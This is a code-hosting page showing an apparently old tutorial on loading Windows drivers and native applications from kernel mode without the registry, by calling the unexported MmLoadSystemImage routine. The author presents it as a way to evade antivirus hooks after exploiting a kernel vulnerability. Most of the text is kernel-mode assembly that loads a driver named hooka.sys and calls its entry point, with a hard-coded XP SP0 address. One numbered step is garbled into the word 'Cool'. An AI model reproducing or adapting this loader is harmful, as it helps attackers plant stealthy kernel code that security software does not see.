Projects List.
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long. 6.8KB

10 months ago
  1. ### Loading drivers and Native applications from kernel mode, without touching registry
  2. -----
  3. <br>
  4. "How to load driver without touching registry from kernel mode", this is asked almost always. Today, I will give you an insight into how Windows loads its driver and then will document a new method to load a driver without touching registry.
  5. This is required because even if you exploit kernel vulnerabilities ,you still cannot load any driver because almost all existing Antivirus solutions hijack the NTOSkrnl API's ( which let you write to specific registry locations, load drivers etc).
  6. The first method to load driver is given below:
  7. Windows NT loads drivers using the following function ZwLoadDriver.
  8. Its declaration is as follows:
  9. NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);
  10. DriverServiceName: Pointer to a counted Unicode string that specifies a path to the driver's registry key, \Registry\Machine\System\CurrentControlSet\Services\DriverName, where DriverName is the name of the driver
  11. The Second Method is given below:
  12. After Windows 2000 start's up, It starts loading the special driver win2k.sys.It doesn't load in the traditional way (as all other drivers are loaded) by calling the following procedures ZwLoadDriver, NtLoadDriver etc.
  13. It actually loads by the following kernel API ZwSetSystemInformation.
  14. This API is used to set system information such as page file, loads the above driver, file cache( information working set) etc.
  15. It is actually implemented as follows:
  16. ```
  17. ZwSetSystemInformation(
  18. IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
  19. //specifies operation to do
  20. IN PVOID SystemInformation, //specifies operation data
  21. IN ULONG SystemInformationLength ) //specifies data length
  22. it's internally implemented as follows:
  23. Switch (SystemInformationClass)
  24. Case 0:
  25. Case 1:
  26. .
  27. .
  28. .
  29. Case 5: ;this actually extends the system service descriptor table
  30. .
  31. .
  32. .
  33. MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,imagehandle,baseaddress);
  34. call entrypoint(driverobject,NULL) ;
  35. break ;
  36. case 6:
  37. .
  38. .
  39. .
  40. .
  41. .
  42. ```
  43. These 2 are the only known method of loading drivers.
  44. Here is the third method. (No antivirus solution currently hijacks it so it is safe).
  45. As seen above ZwSetSysteminformation loadimage function to load driver into memory and then calls its entry point.
  46. Now we will briefly analyze the parameters and functionality of MmLoadSystemImage
  47. MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING prefix optional,UNICODE STRING basename optional,
  48. ULONG unknown=0,PVOID imagehandle,PVOID baseaddress);
  49. ImagePath is a fully qualified NT style pathname
  50. prefix is added to pathname when loading driver
  51. basename is the name system shows after module has been loaded
  52. unknown is unknown
  53. *imagehandle is the handle to section(it's already referenced, so you will have dereference it at unload)
  54. *baseaddress is the address at which image has been loaded in kernel memory
  55. This function actually loads the image in memory, resolves imports,loads dependencies, etc.
  56. In Windbg,u can find the address of above function using "d MmLoadSystemImage" (of course ,symbols are required)
  57. NOTE:- MmLoadSystemimage internally calls and checks the image after loading it into memory so make sure the checksum for the image is fine.This functionality is done by the MiCheckSystemImage.The import resolving job and dependency loading is done by MiResolveImageReferences API.
  58. Thee MmloadSystemimage works as follows: (PseudoCode)
  59. 1) traverse existing module list to check whether it has been alredy loaded
  60. 2) if it exists return error (image already loaded STATUS_IMAGE_ALREADY_LOADED) and return from call
  61. 3) try to open file using Zwopenfile,if file cannot be opened,just return with error code
  62. 4) compute image checksum and match it with checksum stored in header
  63. 5) if checksum doesn't matches. return with error code
  64. 6) create a section with zwcreatesection and then reference it
  65. 7) map it into kernel space using mMapViewInSystemSpace
  66. Cool if necessary apply relocations to image using function LdrRelocateImage
  67. 9) resolve refrences iusing MiResolveImageReferences
  68. 10) then create an entry in psmoduleloadedlist for the module
  69. 11) make it writeprotect
  70. 12) then close file handle
  71. 13) return from call
  72. So, now we have a function which loads image in memory, but what about calling Driver Entry (entry point of driver). This information can be obtained from the PE headers itself after the image successfully loads in memory. This method has been and can used to load and execute drivers, native applications etc directly from kernel mode
  73. Here is the assembly code (kernel mode assembly code). it has been tested on Windows XP SP0 English Version.After minor modifation code runs on win2k,xp,2k3 etc
  74. __asm {
  75. ;below code loads the driver in memory
  76. loaddriver:
  77. mov dword [Stack],esp //save stack
  78. ;paramters as always are passed in reverse
  79. push DWORD Driverbase ;it stores driver base
  80. push DWORD ImageHandle ;it stores section handle
  81. push dword 0
  82. push dword 0
  83. push dword 0
  84. push DWORD U_STRINGloc ;it points to unicode string containing driver to load
  85. mov edi, 0x805c03ae ;MmLoadSystemImage address function on Win XP SP0 English version,(OS and SP dependent data)
  86. call edi
  87. cmp eax,0 ;check whether driver loaded successfully in memory
  88. jne drivernotloaded ; if loading failed, exit without calling entrypoint
  89. ;since driver has loaded successfully call its init function both parameters are passed 0
  90. mov DWORD edi, [Driverbase]
  91. mov DWORD ebx ,[edi + 0x3c] ;to get offset of optional header
  92. mov dword ebx,[edi + ebx + 0x18 + 0x10] ; to get entry point ofset from base of code
  93. add edi ,ebx ; add base + entry point to get entry point in memory
  94. push 0 ;
  95. push 0
  96. call edi ;call entry point (Driver Entry in case of Drivers)
  97. drivernotloaded:
  98. mov dword esp,[ Stack] ; correct stack so as execution continues
  99. ret
  100. ; Here data and/or variables are stored
  101. ; This is the driver to load including path name
  102. ;DosDevices@:hooka.sys length 48
  103. db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,
  104. 0x73,0x00,0x5c,0x00
  105. db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,
  106. 0x79,0x00,0x73,0x00,0x00,0x00
  107. ;it's used to store driver base address
  108. Driverbase:
  109. dd 0
  110. ;it's used to store section handle
  111. ImageHandle:
  112. dd 0;
  113. ;it is used to store Stack location
  114. Stack:
  115. dd 0
  116. ;structure used for unicode strings in memory
  117. struc U_STRING
  118. Length: resw 1
  119. MaximumLength: resw 1
  120. Buffer: resd 1
  121. endstruc
  122. }
  123. //asm code ends here
  124. NOTE: - These API's or functions are not exported by NTOSKRNL, but these exist for internal usage.These functions are not hooked by any anti-virus solutions, so these can be used to load drivers and native application and then run them.
  125. That's all about loading a driver from kernel mode without touching registry.
  126. Also,the code does some error checking,so as no hard error occurs.
  127. Have fun!